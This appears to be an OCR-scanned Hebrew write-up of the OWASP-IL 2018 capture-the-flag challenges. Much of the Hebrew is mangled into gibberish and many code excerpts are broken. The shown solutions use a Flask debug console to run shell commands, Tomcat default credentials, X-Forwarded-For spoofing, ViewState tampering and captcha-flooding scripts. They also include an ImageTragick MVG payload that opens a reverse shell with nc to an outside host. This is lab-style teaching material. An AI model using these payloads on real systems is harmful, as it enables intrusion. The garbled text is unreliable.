e https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-

configuration-option

:WinDbg-1 Vmware ny Kernel Debugging n2'a0 nnpn

e https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-

virtual-machine--kernel-mode-

Now You See Me, Now You Don't
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https://www.fireeye.com/blog/threat-research/2012/06/bypassing-process-monitoring.html
https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html?m=1
https://docs.microsoft.com/en-us/sysinternals/
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-

Technologic

OWASP-IL 2018 7w CTF-n ManxX |INNo

T NV TAYR 72,0170 7NN TV 0T D70 T 02071 17K KT RN LRI DY DRN

NIan

2N 7N NU'ONQIIKA NIRNN 01dN MWD 7KW OWASP AppSec 01> D"pnn ,MY 7D1d
D'YN DNANX 72w CTF-n [NN9 N1IVY NIYY 24 IXPIN 0100 )7nn2 .5-6.09.2018 D'D>"INN]

TR DANKNI

D71yN NINRYI D7D 17'K21 DNANKRNNA TR 72 7¢ [NN9N DX 'TANN 'RIR7 01911 IXN] AT JAona

NN9Y7 T2 nunnwin Application Security-n

:Hard-1 Medium ,Easy ,nin1 3-7 17210 CTF-n Manx

Easy

Medium

Hard

...Easy-n 7'nm

OWASP-IL 20187w-CTF N MAaNKN |INND
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devDucks "anx

devDucks
200

URL: http://challenges.owaspil.ctf.today:8089/

Flag Submit

JNIX AM97 N Y IM'9 vyn Y YO P71 DNANKD D Man NI %En anRn Nt

)2 NXNIY NN 'Rt TN console 7w 710 L]0 IR AXIN ORI X' exception trace AXIN NANKA

<« C 00 ® Notsecure | challenges.owaspil.ctf today:80 * e 008G

botocore.exceptions.NoRegionError

NoRegionerror: You must specify a region.

File "/ usr/lacal/lib/ python2.7 /site-packages flask /app.py’, line 2309, in __call__

return self.wsgi_app(environ, start_response)

File */usr/local/lib/ python2.7/site-packages/flask/app.py”, line 2295, in wsgi_app
response = self.handle_exception(e)

File */usr /local/lib/ python2.7 /site-packages  flask/ app.py”, line J 741, in handle_exception
reraise(exc_type, exc_value, tb)

File */usr/local/lib/ python2.7 /site-packages,/flask/app.py", line 2292, in wsgi_app

response = self.full dispatch request()

File */usr/local/lib/ python2.7 /site-packages  flask /app.py’. line /875, in full_dispatch_request

rv = self.handle_user_exception(e)

File "/usr/lacal/lib/ python2.7/site-packages /flask /ap

",line 7718, in handle_user_exception
reraise(exc_type, exc_value, tb)

File */usr /local/lib/ python2.7/ site-packages/ flask / ap

. line 1813, in full_dispatch_request
rv = self.dispatch_request()

File */usr /local/lib/ python2.7 /site-packages, flask /app.py". line /795, in dispatch_request
return self.view functions[rule.endpoint](**req.view args)

File */app/index.py”, line 70, in aws_console
ec2 = boto3.client('ec2’)

19101 117 NNON [I7"'RN 7V N¥'NY

< C 0 @ Notsecure | challengesowaspilctftoday5089 # =008 E

botocore.exceptions.NoRegionError

NoRegionError: You must specify a region.

Traceback (m

File */usr/local /lib/python2.7 /site-packages/ flask /app.py", line 2308, in __call__
return self.wsgi_app(environ, start response)

[console ready]
B

OWASP-IL 20187w-CTF N MAaNKN |INND
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subprocess 21ITM"7 import nyvx12 .X7w 12721 D270 Nd>wn 72 flag.txt Dwa yalp D' DX NWO'N
D'¥ap 17'R1 D'RXYN] DNIX P AN (pwd, Is <) nimipe 2 ynin'? nn¥n Popen nTIMnn Nrval

211197 D'0INO

[console ready]

»»» import subprocess

»»>» subprocess.Popen(["pwd"],shell=Trus,stdout=subprocess.PIPE).communicate()
("fapp\n', None)

»»» subprocess.Popen(["1ls -1"],shell=True,stdout=subprocess.PIPE)}.communicate()
("total 8\n-r-xr-xr-x 1 root root 417 Aug 29 15:18 index.py\n-r-xr-xr-x 1 [#, HNone)
B

NN 727N NN 727731 cat NTIRON NIYYANA 11DIN2 UM .index.py YalZn ANNON app N'j?'N N

OWASP-IL 20187w-CTF N MAaNKN |INND
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OWASP University "anx

OWASP University
250

We got anonymous tip about a terrorist in OWASP University,

We're afraid she will try to attack in few days.

Please help us catch her!

We have her old student card and we know you will have the
information you need there, the problem is that she somehow changed
her security code...

Image size must be: 1597 x 1033

URL: http://challenges.owaspil.ctf.today:8099/

* OwaspCard.j...

Flag Submit

D'0197 IN'KN' 12 D'VIDNY 72 NU'O0NAMIRN ANK7 VITIVO 0'VD NIZVNYT D'DMX 1IN DT NANN2

XY '71|7] ANK? NN NINNN NX NI7vn%? N011 DX .01ININ ToN2a om'"pn

» Incorrect username, name or security code |

MIYNIN NAwNnn ,0ITIVO 0'VYD D'7YN NNY [N .security code-n XIN NNIX [*2yn¥ NTYN

.(steganography) nnxy NINN2 INOIN 72T DXN WONT NIOI7I NN NMINNA WANWN? nn'n

AN INT D 1N2n P 7"IN D npnynwy 933 .gimp N1dINA N>V MIMNNY ANYN NNXp N T
X7 N 7y (OCR) NimMN2 VORL 'IN'T? N*AI7IDL YNANWN NXRN D 17 NV ,NT 27w .0INO

.0'0DN YW NITYUN DIN DX

JITwn 721 SQL Injection yxa7 11071 0'0dN NITY DX JNY7 Nan 7y 'ya nunnwn

2270 R 11727 NjI security code NTWA YXIA DTN

Number | 123456 Expiry Date | 31/12/2018

student @

Username

Amy Kelly
Security Code

OWASP-IL{l_Love_Little_Bobby_Drop_Tables} :7aTn
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No Pain No Gain "anx

No pain no gain
250

https://www.youtube.com/watch?v=1Wh8RzcQZr4

URL: http://challenges.owaspil.ctf.today:8092/

Flag Submit

)2 NXNIN 'VVO LINLVI'R T I]'71|7 , JANIRN '-']'I"? 000 NXY

Home Classes Features Reviews Pricing  Contact

HE&NPOWER HAPPINESS

Bb ithe table win-win survival strategies to ensure proactive domination.

GET STRATED

EVERYTHING IS POSSIBLE WITH ME

0" X7 M7 nwa 'y ARRAYY DNaY7 07NN, Nvn T 27U 171000 DR NINT? Nan 7y

<« C' {t | ©® Notsecure challenges.owaspi\‘ctf.today:EOEE_.m

HTTP Status 404 — Not Found
7 Status Report

[[T=TETE (give_me_error

The arigin server did not find a current representation for the target resource or is not willing to disclose that one exists.

| [Apache Tomcat/7.0.90
[

ny> .7.0.90 noMaa Apache Tomcat NMwA NAITA D NIXKYY NI DTIND AYTINN 0VN'DY NITIN

22Th mawnl Nwn Y NI0YDIYAT? NITNYOXN '19'A n7NNN
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./manager 2'm17 nwa7 nN7¥n ,Apache Tomcat 7w 77Thn N1Ma 1a'Ma? nwa? niniro 1oon 1NRY
71N 791 win'w "y 0NN NX 7717 Apache Tomcat 'MW "7p27 NMWOXN manager N''¥j7'79X

'XNO'0l YNNYn OV NIYXNKNA |]ainn

Sign in
et TAATIARG AL ek pil 2T modtay B0

site is not private

w7 INY 12 ,7TNN DN DNTAN NIYYARD DNTAM manager-n NUYRY79X D 1XXN ,NT Npna

tomcat-users.xml yaljpa nx¥n "'y 71897 NNO'ONI YNNWNN DY NN

$TOMCAT_HOME/conf/tomcat-users.xml (Original)

<tomcat-users>

<lh--
<role rolename="tomcat"/>
<role rolename="rolel"/>
<user username="tomcat" password="tomcat" Poles:"tomcat"/>|
<user username="both" password="tomcat"” roles="tomcat,role1l"/>
<user username="rolel" password="tomcat" roles="rolel"/>

==3

</tomcat-users>

NAN 2'M17 12p20 )21 1MW 2NN DIMNYORKR 2y 170N0N 7100 71897 NN7¥IN NiNANNN TNKY

7270 DX N TN M7 nw7a L /iAmTh3FlagAndYouCantFindMe

= C 0 @ Notsecure | challenges.owaspil.ctftoday:8092/iAmTh3FlagAndYouCantFindMe/

OWASP-IL {DOntF0rg3tT0Ch4ng3D3f4ulTP455w0rds!}
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Curriculum Vitea "anx

Challenge 32 Solves

Curriculum Vitea
250

| got client-side attack while i go to my CV landing page!
Can you catch the flag?

URL: http://challenges.owaspil.ctf.today:8091/

Flag Submit

DANKRD T 7W 1NN TI2 02 ,NNVARND 1P™ DR INRTZEINKRYT IO T¥D KINAT? XD ANKD NN

:N2N VDFON NX NIKY7 N1

<script>

eval (function (
toStrlng( a)}t;if (!
rle(c)l=klcl|le(c
[e]}] e=function (
RegExp ( te (c) +

replace( ,String)) {while (c--
; k=[function (e) {return
{r eturn };c=1l};while (c--)if (k[c])p=p.replace (new
0 ), klc]);return p} (

p,a,c,k,e,r) {e=function(c) {return
|
) ;
)

c.
)
r

1241

( ), 0, {}))
</script>

:getExif Nn'¥j7219n 7y 7ON011 Beatify n1tva INIX N9

function getExif () {
var a = document.getElementById ( ) ;
EXIF.getData (a, function() {

eval (atob (EXIF.getTag (this, ) .split ("") .reverse () .join ( )))

})

DY NN n7Y EXIF Metadata-2 wonni MNXNN 7'01190 NMiNN DX NR17 TIigne NIKYY? N1
NIYXNRY DRXINN DX YNl base64-> IMIX NWON 72w yTNN 1910 KN N NKT? .Model

.eval n'¥719n
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fTool szmn Number

Access Date/Time
eation Date/T

ime

Type Extension
ME Type
Byte Order

ownloads\exiftool-11.10>"exiftool(-k).exe"

11.10
profile. jpg
215 kB
2018:09:

2018:09: :59:504+03

JPEG

irg

image/jpeg
Little-endian (Intel

:00:04+03:

.\profile.jpg

00

189)

Model Name p«%‘/((A\\vad(kﬂlb
IWEDT2EDeww '<FD{1FDH\MXu\fDTPPDHLMH
)4BDTzITM8hDev
) } EDIYEDIXEDI1IC
iLLJSPQRISUH)'h 1JikkI9OTKIhCMuEmImIyRiOTPp
HKw4SYmYiIxISP9kCdoAjLhZiJiMnI90TKyhCMuEmIm SYlel
)GKwASYmYiIyISP9kiYoAjLhZi)ikjI90TK4gCMUEMImIy PpY
JFI3VmboU2YhxGc1InLwlDcp@1YbtGKmlWKtOyYoUGbph2d70X!
luﬂﬂijhS/b1XhtHVYnlGbph2d7l%anHa\k’U\“1X“ jFG
nbJV2cyFGcoUmOncyPh 0dmc1RXZytXKjh
Quality 10
Creator ‘duh'
Derived

Lu(mbvl)ab“)L\Vm(hxX

\1[h71110m1”0Tk\h
ASYHVIIH]\PQJVUUA‘lhth/]\YU“HTxd(k
¢ Xndmt!RX7thh04/pruYuVP’“U/U
NzgyZulmcON1bOSyY

ml(¢/11c\Uer<VY>LGLth1b”lbd15 NdmhCbhZ

Tool
From Document ID
Instance ID

Phwtushnp CC ?017 Macintosh
Derived From
Document ID
Instance ID
DCT Encode Version

)EZEM/BDQt/545$Z
xmp.1ii E79E2EA7BD9E744532

100

[PIN MDY [IWXKY 27w .090 1K DITYYN 7V Tnal Camera Model Name nTwa 02

12271 Beatify YnK .Base64 niyxnxa TTI/Mn Camera Model Name nTwn

function verify(a) {
if (a.charCodeAt (0x0) == && a.charCodeAt (0x1)
a.charCodeAt (0x && a.charCodeAt (0x4)
a.charCodeAt (0x && a.charCodeAt (0x7)
.charCodeAt (0 && a.charCodeAt (0xa)
.charCodeAt (0 && a.charCodeAt (0xd) (0534
charCodeAt (0xf) && a.charCodeAt (0x10) (
a.charCodeAt (0x12) && a.charCodeAt (0x13 && a.charCodeA
&& a.charCodeAt (0x15)

&& a.charCodeAt (0x16) &&
a.charCodeAt (0x17) && a.charCodeAt (0x18) && a.charCodeAt (0x19)
console.log (

+ a)
} else {
console.log (

&& a.charCodeAt
&& a.charCodeAt
&& a.charCodeAt
&& a.cha deA
&& a.charCodeA
&& a.charCodeAt

(0
(0
(0
AL (
t(

}

DANY? 71 xw1 LASCII "1IM7 7TON '97 N2 D'UINN DX DYWL a NTNNNN 7V np' T2 NYIY N'X219n0

*2Th NR 72711 vorVY ASCII-n NN

OWASP-IL{J4v4Scr1ptNinj4!}
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Break the Captcha Nanx

Break The Captcha
250

My website is protected with Captcha so you cant flood my forms!
Do you think that you can bypass it with code and flood my form?

URL: http://challenges.owaspil.ctf.today:8088/

Flag Submit

MY 30-2 captcha Manx 15 MN97 0'WATI 1IXK DT MANK2

Your mission is solving 15 captcha’s in 3@ seconds! can you do

INIX N7w captcha-n NX NO'W X |NN'S V9RO 2IMD7 NYATI MANXKN DX IN97 nmin 7y

ANXT7 DTN

from PIL import Image
import re

import requests
import pytesseract

():
text = pytesseract.image to string(Image.open('a.png'))
return text.strip ()

() :

response = requests.get (captcha url, cookies=cookies)

if response.status code == 200:
with open ( , 'wb') as f:
f.write (response.content)

url = 'http:

captcha url =

cookies = dict (PHPSESSID= )
headers = {'content-type': application/x-www-form-urlencoded'}

while True:
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Technologic

get image ()
code = get captcha ()

response requests.post (url, cookies=cookies,
data="captcha={0}&submit=".format (code), headers=headers)
if "Oh snap! you are wrong!" in response.text:
print "[-] Bad captcha!"
elif "Correct!" in response.text:
print " [+] orrect!"
else:
flag = re.search (" LH?) response.text) .group (1)
print "[*] FLAG: OWASP O}}}".format (flagqg)

raw input (" [*]
:09"MPoN 7Y 120N
NNIX NNNIYI MNRNN NINNN DX XYINY T requests 71N NUNNWN get_image n'Xj711on
-1 (himn oy nTIA? N ¥ n72an) PIL 0'71Tna hwnnwn get_captcha n'¥j7190 .Nmipn

.(NMImMn 1M2 VoL NXZ7 wnwnin OCR ooian '70) pytesseract

D'¥NI7 WWKRD NN7YWIY POST-N NYzad DNAIN DNVNID 17'R NIKNZ N 7Y Burp Suite NNoa

:submit-1 captcha :pn D"LVNION D NIKTT N .submit

0OST / HITP/L1.1

: challenges.owaspil.ctf. today: 8088

oo mw

ontent-Length: 21
ache-Control: max-age=0

Origin: http://challenges.owaspil.ctf.today: 8088

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4) AppleVebKit/537.36 (KHTML, like Gecko) Chrome/EB.0.3440.106 Safari/537.36
Accept: text/html,application/xhtmlixml,application/xml;q=0.5,image/webp,inage/apng,*/*;q=0.8

Peferer: http://challenges.owaspil.ctf.today: 8088/

Accept-Encoding: gzip, deflate

pt-Language: en-US,en;q=0.5
ie: PHPSESSID= ; debug=no
Connection: close

captcha=dekzdisubnit=

NX¥IN NX? .1N7W cookie-7 9O0I1A DTIZ 11MDTNAY DVNI9N DY AWTN POST Nwjpa 1IN ,Nyd
22j71 vOIZON

Correct!

] Bad captcha!
Bad captcha!
Bad captcha!
Correct!

Bad captcha!
Correct!
Correct!

Bad captcha!
Bad captcha!
Correct!
Correct!

Bad captcha!
Correct!
Correct!
Correct!
Correct!
Correct!
Correct!
FLAG: OWASP-IL{YouAreTheCaptchaMaster!}
Done!f]
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Around the world "anx

Flag

Can you do that ? (XFF is approved)

Around the world
300

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

URL: http://challenges.owaspil.ctf.today:8094/

Submit

V¥ .NIYN NAIYN DIY'DIMN NIMn 16 9w IP namdn NY? Nwa? nYUpann N7 Janxa

NN 0790 NXR 1727 NaIWNA http://challenges.owaspil.ctf.today:8094 'wxIN 917 NWja

= (@ | ® Notsecure

challenges.owaspil.ctf today:5094

In order to get the flag you must to serve from Argentinal Counter: 0116

ZD'D'7|7|'\ "INKN MANKRN TAW TX'D NI 210 |':m‘7 122 Burp Suite 201 nunnwn

Go | Cancel | <|¥ 5w

Request

|Raw Params | Headers | Hex

Response

Raw I Headers | Hex

GET / HTTF/1.1

Host: challenges.ovaspil.ctf.today:B054

Pragma: no=-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; xé&4
AppleWebKit/537.3€ (KHTHL, like Gecko) Chrome/£8.0.3440.10€
Satari/537.36

[Accept

text/html, application/xhtml4xml, application/xml:q=0.5, image/vebp
, image/apng, */ *;q=0.8

[Accept=Encoding: gzip, deflate

hccept-Language: en-US,en:q=0.%9

Cookie: debug=yes;

-ASPXAUTH=33777CF7AB3AEDSESSDOFD ILDBCSEETSZCSCTCDABIBETIESEBTEELSD
2FO32EFAB4L3BELECDBSSSSTFELIFCEBEASSTAEAIESEZAZZTFEZZEAIFED3I T3 A8
SESE30SAFEFS3ECI8D3ELIBCIODIDLISTTOBEIIFIECSDACDIFFEIFIEDTECLIDLITSA
CELECFEBEZFASS3IEDTT0LECADBEDALBTCSI7SBSAFED3I4AE3 1354ES03EF3CSETED
3AEEESADSE; isAdmin=yes;

session=eyd3b3VudCIEMCWITIS 1bnRyeSTEeyIgTiTET1IFVSTOLEXD . DRgI3Q.
yHLLggi AJ4TaLmDSyEGyMItLxY

Connection: close

T

HTTP/L1.1 200 OK

Serwver: gunicorn/l19.9.0

Date: Thu, 13 Sep 2018 07:4&:40 GMT
Connection: close

Content-Type: text/html: charset=ucf-g8
Content=Length: 97

Vary: Cookie

In order to get the flag you must to serve from Argentina

{You served from Israel)| Counter: D16

'8 NIDIYW WU'd MWD NMIYXRIN DYl ,XNAIT7) Nwpiann n1rTann Mw? nne? mma

.N1'0IAR 7Y Proxy IP oy Tn' "X-Forwarded-For" Anidn nNX 19010 (N1'V1ARN
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wnnwnn 7w IP-n NN 1IN DX NINT? "D N7aIpn 0w X' nwpa? (XFF) 7"1n anin nooin

:NINQN NYWRAN DX DN7W  HTTP PROXY NIy¥NXd N7 "annny

Request

———
I Raw | Params | Headers | Hex

Response

Raw | Headers K|

GET / HTTPF/S1.1
Host: challenges.ovaspil.ctf.today:8084
Fragma: no=-cache

Cache-Control: no-cache

Upgrade-Insecure-Requescs: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4
AppleWebKic/537.36 (KHTML, like Gecko) Chrome/€8.0.3440.10€
Safari/537.3€

Ascept:

texe/heml, applicarion/xhemlseml, applicat ion/wml: q=0.0, image/ vebp
, image/apng, */ *rq=0.8

Accepr-Encoding: gzip, deflate

Accept=Language:
X=Forwarded=-For:
Cookie: debug=
< ASPXAUTH=2
ZFO3IZEFAB4l
SESE30DSAFEFB3IE

en=U5,en; q=0.9
1BE.€4.71. 65

AB3 AEOSEGSDOFDLIDBCSEETSZCOCTCR4BIBETI E98
LBCDBSSS97FEL3IFCBBE4ASST ESEZAIZITFEZZEAIFEL a
BEZZF3ECSDACDIFFEZF3EDTBCLIDLTSA
Z75BSAFED34A€3 LIS4ESDOIEFICSETED

JAEDOBADIE:

imAdminmyes;
session=eylib3IVudC T EMCWiT20 lbnPyeSIEey IgTiTETIFVSTOAEXD . Dngl3c.
YN1lggd AJATaLmOSyEGyMTELyY

Conneccion: close

LA

HTTP/L1.1 200 OK

Server: gunicorn/1%.95.0

Dace: Thu, 13 JSep 2010 07:53:15% GHT
Connection: close

Concent—Type:
Content-Length: SB

Vary: Cookie

Set-Coockie: ssasion=eydibIVudCIENSwiTislbnRyeSIeeylgTile]

texc/heml: charser=ucf-8

In srder to get the flag vou must to serve from Albania

{¥ou served from Argentina)| Counter: 1\16

NIXTT? AWOX D D .1-7 YO NmMnl NI'VIANA NYANY AR PR Dwn D Nn7ap nalwnal
| |

NYURIANN NM'TNNN NARAN nYpan v qQI'Ta NYTNN Ny wnnwl .wTn SESSION COOKIE Nxiv

YpIand NivTn 16-n NiMo y¥a7? 7'wni oI (Albania)

NINAN NI7IYON NIX Y¥AN TWUN NN TIZN DX 112ND N'UNIVIX NIX] NIA9N 2 Nx y¥a7 nn 7y

https://www.worldatlas.com/aatlas/ctycodes.htm anxXnn ni*Tan nn'wa N m™im- .1

Session Cookie-1 N1*Tn 7w DW NaIWN2 72701 NMWN 7R N9
NITAN NN'WI NITYA (IX'P2 NNIR NRNONN NIFIX 'NY) D7 TIEn 1NN 117N 1Ay Uonn

n'm Tipn Dy nirsoft 7w NN N1 727 0U'™IN IP NIAM) NR'Yn Y n'Xj721191 ynnwun

niyxinn IP-n niamdn nnX oy wTn XFF AN X

wTNN XFF ANt n72pw Session Cookie-n DV nWTN nWpa XY

#!/usr/bin/python
import re

import requests
import urllib3
urllib3.disable warnings (urllib3.exceptions.InsecureRequestWarning)

def (country name) :
code = re.search(r'{0}\s([A
country codes) .group (1) .lower ()
new url =
resgonse = requests.get (new_url,

new ip = re.findall(r' (?2:[0-9]({1, 3

> w

TN 27wa IRYNY

Y'Y NYpan NX N71IY

© N o

221N NP7 TV 7 TV 2 D1%W TN

-2] [A-2])"'.format (country name),

. format (code)

verify=False)
.)

[0-9]1{1,3}'", response.text) [2]
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return new ip

country codes = open (
url = 'http: challenges
headers = {}

session = requests.session ()
response = session.get (url)

for i in xrange(1l7):
country name = str (response.content) .split ( ) [1].split( ) [0] .strip ()
new ip = get next ip(country name)

print .format (country name, new ip)
headers['X-Fc led-For'] = new ip

response = session.get (url, headers=headers)
if in response.text:
print .format (response. text)

12T DX 72 TIpn NN NKY

:~# ./AroundTheWorld. py
country Argentina i ). 0
country Albania ip

country Australia i

country Portugal ip !

country Japan ip 1.0.64.

country United States ip

country Brazil ip 1

country Austria ip 5.198

country Ukraine ip 5.58.

country Norway ip 5. l(l(: 176.0
country Sweden ip 2.248.0.0
country Lithuania ip

country Bulgaria

country France ip

country r1alayqla

country §

country Phlhpplne: ip 27.108.0.8
OWASP-IL{WhORuNTh3World?}

IMedium NN DNANKN DX NINDY W1 NwD ,Easy NNNA DNANKND 72 NN INO AT 2% TV
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LazyAdmin Manx

LazyAdmin
350

Do you think that you can login with administrator privileges in order to
retrieve the flag?:)

user:password

URL: http://challenges.owaspil.ctf.today:8084/

Flag Submit

N7 YNt ANk Non  NIRWAN qpunl ASP.NET-2 ViewState Tampering-2 701V 0T NANN
11'2u1 720 Wnnwn 7w XNo'ol wnnwn 0w 11727 1aNK7? N0'n Dy .NDWAN 701 W NINWANN

270 DR 72R'7 Nan 7y NoYnn 7nan 7w NIKWAN DY 1ANNnT T RIXnY

NN2ANNN T 0721 1ANK7 0'0101WD

Login Page X
&« [CIEr @ & challenges.owaspil ctftoday:8084/Login.aspx e @ 2 Q search

Login

Username

Password

;NN NMUIYNN DX N'TAN MANKD N7'NNA 117 IN1Y XNO'ONI WNNwNn DY 7Y nypn

Admin page X

<« ¢ o (@ challenges.owaspil.ctf.today:8084/Default.aspx

Only administrators can see the flag!

-N"MA7100] WIN'Y NYYI NNWN T2 i ,aspx NNI'cd 0'N''"NOoN NYYN 7V D'9TNW NIXTY N1

ASP.NET

(https://portswigger.net/burp) vIT'n Burp Suite *722 1TVl ,pwnna NIYEan DX JIPNY7 Nan 7y
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NN Y '701 WNnNWwl X .71ITA7 D'YURaN X INIR DNWN 27 nxEn DTy 12 Proxy-d wnwn ot '

MWD Y7 NINYYWIN NIYPAN DX NIRY

POST /Login. aspx HTITP/1.1

Host: challenges ovaspil ctf today:B8084

User~Agent: Mozilla/5.0 (Vindows NT 10.0; Vinéd, x€4. xv:€1.0) GCecko/T0100101 Firetox/€1.0
Accept: text/html application/xhenléxnl applicacion/xul . q=0.9,%/%,q=0.8
Accept-Language: en-US_ en.q=0.5

Accept-Encoding: gzip, deflate

Referer: http://challenges. ovwaspil.ctf today:6084/Login, aspx
Content~Type: application/x-www-form-urlencoded

Content-Length: 313

Connection: close

Upgrade-Insecure-Requests: 1

__VIEVSTATE=\ZFvEPDVURLTMsNDEOCDAIMuRk Y 2B ARV SF s 0Z02KPEUNSEQLs PO TpucuVsYIDPuleLTvwt D4 VIZWSTATEGENERATORCIERSABBL
__EVENTVALIDATION=AZFwEAAAQKL

Y TBAVDESThidb W TQRILAY CB I WNIh ) E LT LTASVILIWEOA ST lgnnl SOLAI RNy Tedn B4 0 AAneHEY S 4 PnsUbEGLNA

JZb1IZRs IFB8S0ThAGScVeGEFYUbJvIup dVTxw3DUoY IDLAusernane*useripassvord=passvord

DY Dy TN POST-n NYpaa N7wi TWNR ViewState-1un197 17 0'wil nNYWIY nwpan 7y v

.XNo'onl ynnwnn

|'2 M1 viewState-2 yTMn .PHP Ndw21 session-7 NnIT [91X2 ,0"1IN] MNWY TWONN ViewState-n
Ti7 7V 01 .NYRA D2 NYYIN input NTWA viewState-n NNW T QY 917 DNTIND NIRMEN
7V qon vann .ANY NY7 NNRYS N7 X77 ,7271Yn ViewState-n 7w nTUNY R QTN 7Y Inn

O¥IM K71 TTIiZNn NTUN DIN D IR¥N NTYUN

2N IWENN TN [N WK ViewStateHacker n1dIna wnnwint nu'7nn 37

http://www.woanware.co.uk/application/viewstatehacker.html

[55) ViewStateHacker — O X
File  Help
= = | URL Decode @
General View State  Encoded Basefd
Tree  Raw XML

<System.Wek .Ul . Pair> -~
<System.Web . UI_ Pair>
<5ystem. String xml:space="preserve">-733473150=</5ystem.String>
“<5ystem.Wek UL Pajir>
<System.Collections. BArrayList>
<System.Wek .UIl.IndexedString=ishdmin
</System._Web . UI.IndexedString>
<System.Boolean>False</System.Boolean>
</8ystem.Collections.ArrayList>
“Hull>=True</Hull>
</System.Web UL Pairx
</System.Wek.UI.Pair>
<Null>True</Hull:=>
</System.Web UI Pair>

</ViewStateDeserialized> v
< FTieuSraras

MALC: None ASP.Net 2X

NN A'UN7 Nin 2V true-7 IMIX 19507 N 17w XaN A7wn TR false-d 1T isAdmin -w NIXYY N1

a1
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Technologic

Input-Nn NTWA TN 7w pmn T ViewState -n X Np*2 isAdmin 10N9N DX NNRWY? nan v

:General-n Nn1IWY7Y IMIX 01011

=Z] ViewStateHacker

- | X
File Help

= = | URL Decode &

General \few State Encoded Base64

/WEPDWUELTczM=zQ30TEIMASWAh4HaXNBZGlpbmhkZEXTt X AvuloDn3P1ZTHz4CHE88xTvP5vSYw/UG
TntXoXJ

-0 N9 2y YN71 PN WNK7I True-7 False 1winn isAdmin nTwn DIN DX NIwal Decode-7y yn'?al

2 AW Nn Encode

» =Z| ViewStateHacker - O X

a¢  File Help

URL Decode ©

General View State Encoded Base64

/WEPDWUEKLTczMzQ30TELMASWAh4HaXNBZGlpbmdkZA:

MR T T OiSy HRAU Eila

ST L
ViewState-n NN NNWY71 ,NANK 1727w D'0I9N DY INK7 AW NANNNYT KN NIYYY 117 IRWIY 7D

2T N i

File Edit View History Bookmarks Tools Help

Admin page

&« c @ ® challenges.owaspil.ctf.today:8084/Default.aspx
JWEPDWUKLT czMzQ30T
CANBO334

OWASP-IL {N3v3rUs3W1thV13wstdt3!}
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Image Converter NMANNX

Image converter
350

My magical tool can help you to convert pictures to PNG!

URL: http://challenges.owaspil.ctf.today:8090/

Flag Submit

anxY? .GIF ,WEBP ,MVG ,JPG :D'XaN D'UNISNN TNXQ NAINN Y2l NI7Vn% 117 "WONNn DT 1ANN

:PNG-7 U190 ¢ NINN YX' NN'WA L, D'RNAN VNI YAIZN NX7VN

Image converter

Convert any image you want to PNG! what a magic..

Choose File | N0 file chosen

Allowed extensions: JPG, WEBE MVG, GIF

D |'1|"|'7 17 Ty TWR MVG unlioa T7NN1 ,Nlinnn NX7UNY7 D'YOKRN D'UNISN nmwyo NX7?

W T¥2 MINNN DYNA )'70N IR VY'Y D2 imagemagick N'™M902 win'y nwy)

NIYA5n DI0N9 - 2016 MW7 NI AN'TNA N'MI907 OM"Pn NNLVANRN MIPY 7¢ NXpP N'jo
VNI NINNY? NPT MY MWD TX 7V TIR YN? QpIN? NWoKn WWR “ImageTragick” nx17n

MVG n yalp [pin ./https://imagetragick.com-7 N97 N2 Nwasn NITIN D'9011 D'0197 .MVG

2 R N

graphic-context
vi : 0 0 640 480
fill 'url (https://example.com/image.jpg" |mknod /tmp/pipez p;/bin/sh

0</tmp/pipez|nc [HOST] [PORT] 1>/tmp/pipez;rm -rf "/tmp/pipez)'
graphic-context
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https://imagetragick.com/

NN 11'78 7' NLV™MYA DYWL NNYPNN YYA NANKD DY 207 DINN DY Yalpn DN nya

YN 7V NN NI Yy NNWOXN

:nc -lvp 1337 N7 NIy¥NXA 1337 0II97 NITRN X' ,NNMYNN NN INT

eran@ubuntu:~S$ nc -lvp 1337
Listening on [0.8.0.0] (family 8, port 1337)

DANKN MW Exploit-n R 7'onn MVG-n Yalp DX NI7Vn? N1 NIwy? naw 7 nyd

Jtmp/pipez p;/bin/sh Oc/tmp/pipezinc|[D. tcp.ngrok io l81s.

Image converter

ciose e 2]

2270 NIN'XNI WA NITIRO DX MY ANKD MY 7V o

eran@ubuntu:~S$ nc -lvp 1337

Listening on [0.0.0.0] (family 0, port 1337)
Connection from localhost 39592 received!
Ls

app.py

requirements. txt

templates

whoami

owasp

cd /

Ls

X270 DR 7'On T Yalp

cat fflag.txt

OWASP-IL{Im4aq3Tr4alck}
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The Bug "anx

TheBug
350

| have a bug in my app that will give away the flag,
| hope you won't find it \
What you are waiting for go away and find it...

URL: http://challenges.owaspil.ctf.today:8083/

Flag Submit

;790 ,217'N :1210) NI'UNNMIXK NIZIYD 190N Y¥A7 MYWONNAN [IAWNN NY¥R79XR 1727 NT AaNK2

:(onian

- C 0 © Mot secure | challenges.owaspil.ctf today 50 Q& M e ® Ok & w

v yTn 70Ny ARIY 117 TNNT DWN XYY 0MA7 1998 2'0yn? [N ANKRD IR NINNPN
- N'0'0Q NAI7 NXAY Y¥A7 107NN NII'0Y 190N TNKYT .72TN NX DA N |21 dWNN 7V 1IN

:console-2 72aTn NX 117217 DA .0-2 npI7n

« C 00 | @ Notsecure | ehallenges owaspil.cti today g Qfr A o ] Ok & w

Mlask/app.py", line 2295,

n wsgl_app

File " ase local b/ p lask app.py”, line 1718, in handle_user_exception
reraiselaxc_type, @

app.py" line 1813, in full_d1spatch_request

9, in dispatch_request

degs.genlcal.
L1 - -ovissp-guas ek _grroes Graen_agatnt |
